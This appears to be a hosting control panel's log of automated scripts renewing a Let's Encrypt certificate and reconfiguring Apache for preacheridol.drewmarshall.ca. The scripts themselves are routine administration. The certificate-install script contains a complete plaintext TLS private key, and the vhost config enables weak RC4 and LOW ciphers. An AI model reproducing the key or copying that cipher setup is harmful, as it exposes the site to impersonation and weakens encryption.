4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-06 06:02:07: Establishing a connection
2025-09-06 06:02:07: Establishing a connection
2025-09-06 06:02:08: 

PUT: /tmp/pkp286559

#!/bin/bash
if [ -d "/var/www/drewmarshall_preacheridol/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-06 06:02:08: 

chmod 755 /tmp/pkp286559; /tmp/pkp286559; rm /tmp/pkp286559

2025-09-06 06:02:08: 


1


2025-09-06 06:02:08: Establishing a connection
2025-09-06 06:02:08: 

PUT: /tmp/pkp580595

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cat > ppO8QFj8vTlMYuXaQKSG6AOewOT38Qbr3K9Eo8X-G7Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ppO8QFj8vTlMYuXaQKSG6AOewOT38Qbr3K9Eo8X-G7Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ppO8QFj8vTlMYuXaQKSG6AOewOT38Qbr3K9Eo8X-G7Y


2025-09-06 06:02:08: 

chmod 755 /tmp/pkp580595; /tmp/pkp580595; rm /tmp/pkp580595

2025-09-06 06:02:08: 




2025-09-06 06:02:16: Establishing a connection
2025-09-06 06:02:16: 

PUT: /tmp/pkp911230

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
rm ppO8QFj8vTlMYuXaQKSG6AOewOT38Qbr3K9Eo8X-G7Y


2025-09-06 06:02:16: 

chmod 755 /tmp/pkp911230; /tmp/pkp911230; rm /tmp/pkp911230

2025-09-06 06:02:16: 




2025-09-06 06:02:16: Establishing a connection
2025-09-06 06:02:16: 

PUT: /tmp/pkp758239

#!/bin/bash
temp_file=$(mktemp)
TARGET=dedbbb759062bdb197a5a897ec5601b7.crt

cat > $temp_file <<'endmsg'
41:42:30:a9:e7:ac:d3:27:aa:c9:00:77:48:1c:63:f6

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBeemBfEOzEMEpd+fdUik2icBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzQzWhcNMjUxMjA1MDUwMzQyWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAxz6dAzbKzKG3E5K+OVYJpbkO4zq2eNrgXn3X/zl0qioI
2ypR5XUWlJS3NM7TgI3x75PDXJqpPg8I1WbHsbO0FCaXWG/olwRvb1TPB9Mstim+
xlx183wrx1JvdfMUmB63vucoYnc0rwZQYIA/QJPMuHGxcLzeF6pEnbzPFiwU1MY+
JuCwRfHyGv+omDOLqljZU79NEqJJtFm30uLvdj99orFOTuX81jGaBYtncVnttJRK
DXMAFV2gNMeIJRI8M3a8w3FB41/fsCjwqr5UZQsxw53nSz7csHgTq37ZxtYPXGBa
ssv+JlmfsJ3AdY7xb8oD7ZqEfU0llEFP9xl7VS1EUwIDAQABo4ICKjCCAiYwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQpjBdDXtvgFfXbdKRi5YtqL90ZTDAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYD
VR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8yLmNybDCCAQMG
CisGAQQB1nkCBAIEgfQEgfEA7wB1ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAF
hOvlhiY6AAABmR2ePZkAAAQDAEYwRAIgDW/8KnItQY9fDgE9SSlb7PJnpOVpRXge
tssAwMvpEOoCIFu5xLB9UzoIMed84hUAEAwZEXrcuqsSPHdOUSazEfzEAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZHZ5FZgAABAMARzBFAiEA
pEdRei1Gtq1pUXIvoMMVhezybc5JkBLWC+8HAQ/yF8gCIH52l8W0htYFhlNG3UbO
afQLEEQTXaMfXUtSG2OvS7VBMA0GCSqGSIb3DQEBCwUAA4IBAQCANodXWKDyMDjn
ZC2SWxQJuaviPBciCyelTFTGN+iZOZ1n2vCBtSET0cT5UW8ChFxVoCOpT6R9YgcA
J5SQ6LM1nEdOczLQSXDBxP0ngJ6vurlA1uZNczG1foyVXZHXPLcAfgTRTExtJITV
NotXJCPXOMAJgIip0UdLUYOzSrJ0OZk9HIMHA8Zfk8AMyleXeSy/BdXDtS80y+rE
DWkhstjGyG+1+3GI6pigHu+rHmYNdUnHvZvKdhOfyOvm5R+qDiSqYrK+4L9dt4QL
YgcutnXMYeM9dLf739nBbvHbFF7Hl6burJ6zOx9dPlHhQX4G+VbTpgii4EFkI2R5
TfOon47l
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHPp0DNsrMobcT
kr45VgmluQ7jOrZ42uBefdf/OXSqKgjbKlHldRaUlLc0ztOAjfHvk8Ncmqk+DwjV
Zsexs7QUJpdYb+iXBG9vVM8H0yy2Kb7GXHXzfCvHUm918xSYHre+5yhidzSvBlBg
gD9Ak8y4cbFwvN4XqkSdvM8WLBTUxj4m4LBF8fIa/6iYM4uqWNlTv00Sokm0WbfS
4u92P32isU5O5fzWMZoFi2dxWe20lEoNcwAVXaA0x4glEjwzdrzDcUHjX9+wKPCq
vlRlCzHDnedLPtyweBOrftnG1g9cYFqyy/4mWZ+wncB1jvFvygPtmoR9TSWUQU/3
GXtVLURTAgMBAAECggEBAKldmyBpShiKetJjkdmxPkAmP/Z+KTAwdjs8ZAhrMbWY
R7Dtl3IihtBEXjvAeF81yeuqQo4MVkMPiqXEWYm/xRq/9zTQ4/jDZ2pOwDHZm485
ixaY8BbKfXhQpbiwqdfpfK4FVvnkdN820cpGGf5t5L8AviGkGnIpZWxkW/BwBkEa
xuDW0gxQVZ9muuOo4RgJvSMC/KrF7mDLBSMntLajtCwEnnhmEyZZz/tlnMnm+v0h
Bq7AdyG7jAjGTHKAJVXvAFIrHWdaGFRao3BUvXaB2WKoPZ9d+4Jww1lE5rx4IV95
Flt7/aPxtoFMFS4S0Lvynawn6fN6sIs+AJ2asz403ZECgYEA6zVOKPzrI/EZAlmb
T78cGG0bxo/g1zXb1bRzEkmmsqJPpbk74OQEwKuAE5aDhDBDdHhn+X3TVIhhYsG+
mprsh7uED2YUTWJ0kiwtLtHI8mIB2GCUWSHzFfP9a7y9Fk4Xp3K3kB48wYkrgh36
XCapsJQmoT14gJInGFTDkGOvSYkCgYEA2Nt2DUZN7VzIf4zbwQlBL+uM8z3PO4M0
ZmhmL9VAfYtUrK79xyt4O8hCjZjb8zSftYM3mcwQ6V+smaxVjrMYOCjawhq8wo6K
N6HMYsY/M44jzWhi5YbYFZuQoY9x3q0Lj3bKOWW3sgenOailcIrrl3GZLGxXqnaR
ZuFard9DE/sCgYEA4yITu0MZ8xhk1T8g2y6q+++JTgMs1cZd5w4dvUBAaOqSzW+G
IlMvP7udr8y+bg2JZlTL20Mlq9ETciG0ZWpMFXsAOTqTSnNULL/aVgch7Oa173S8
bSJ6su1uAPc/BeYds4b1OofoleBXkoxOc2Smoy097KEG1+nLNRTN0YZiBDkCgYAN
3UoY4yvMRyhSb1EFcHAIfkjOrF75cRQCkB4oZLvwyt2pBK8Y8sCHIfCPWPyG+hBT
7IW7gX57TTCdypTVwMGFpacGzerPjYlssR1+GyqjQy0qzsez4QEjsIR4r9EZ6XpZ
u8CGFui9qxuX5h5dqaQSVKL0YiDgtx/osfO4NhP1zQKBgGRd1s5k/6sdvbC0QH3j
TAoGV3y3Guh+rCniYDjjaReCfJnW87J9pnz6fxfJWwW3ZkP018PcVfI3rTlTKAC2
EMttrALibnyhqmU6SgE8iBaghJx/HRAUv3eTX6rvEVYHHSVYr2Tw9faft/hLTtrB
bab2Tw3blH/nSODb3X+FpzRl
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-06 06:02:16: 

chmod 755 /tmp/pkp758239; /tmp/pkp758239; rm /tmp/pkp758239

2025-09-06 06:02:16: 


dir=/etc/ssl/certs


2025-09-06 06:02:16: 

PUT: /tmp/pkp980412

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-06 06:02:16: 

chmod 755 /tmp/pkp980412; /tmp/pkp980412; rm /tmp/pkp980412

2025-09-06 06:02:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf 52

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-06 06:02:16: 

PUT: /tmp/pkp548943

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_preacheridol_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf= 1'
fi


2025-09-06 06:02:16: 

chmod 755 /tmp/pkp548943; /tmp/pkp548943; rm /tmp/pkp548943

2025-09-06 06:02:16: 




2025-09-06 06:02:16: 

PUT: /tmp/pkp780209

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-06 06:02:16: 

chmod 755 /tmp/pkp780209; /tmp/pkp780209; rm /tmp/pkp780209

2025-09-06 06:02:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:02:17: Establishing a connection
2025-09-06 06:02:17: 

PUT: /tmp/pkp496829

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-06 06:02:17: 

chmod 755 /tmp/pkp496829; /tmp/pkp496829; rm /tmp/pkp496829

2025-09-06 06:02:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:02:17: 

PUT: /tmp/pkp596630

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:02:17: 

chmod 755 /tmp/pkp596630; /tmp/pkp596630; rm /tmp/pkp596630

2025-09-06 06:02:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf	1308

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-06 06:02:17: 

PUT: /tmp/pkp148299

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:02:17: 

chmod 755 /tmp/pkp148299; /tmp/pkp148299; rm /tmp/pkp148299

2025-09-06 06:02:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt	5378
41:42:30:a9:e7:ac:d3:27:aa:c9:00:77:48:1c:63:f6

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBeemBfEOzEMEpd+fdUik2icBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzQzWhcNMjUxMjA1MDUwMzQyWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAxz6dAzbKzKG3E5K+OVYJpbkO4zq2eNrgXn3X/zl0qioI
2ypR5XUWlJS3NM7TgI3x75PDXJqpPg8I1WbHsbO0FCaXWG/olwRvb1TPB9Mstim+
xlx183wrx1JvdfMUmB63vucoYnc0rwZQYIA/QJPMuHGxcLzeF6pEnbzPFiwU1MY+
JuCwRfHyGv+omDOLqljZU79NEqJJtFm30uLvdj99orFOTuX81jGaBYtncVnttJRK
DXMAFV2gNMeIJRI8M3a8w3FB41/fsCjwqr5UZQsxw53nSz7csHgTq37ZxtYPXGBa
ssv+JlmfsJ3AdY7xb8oD7ZqEfU0llEFP9xl7VS1EUwIDAQABo4ICKjCCAiYwDgYD
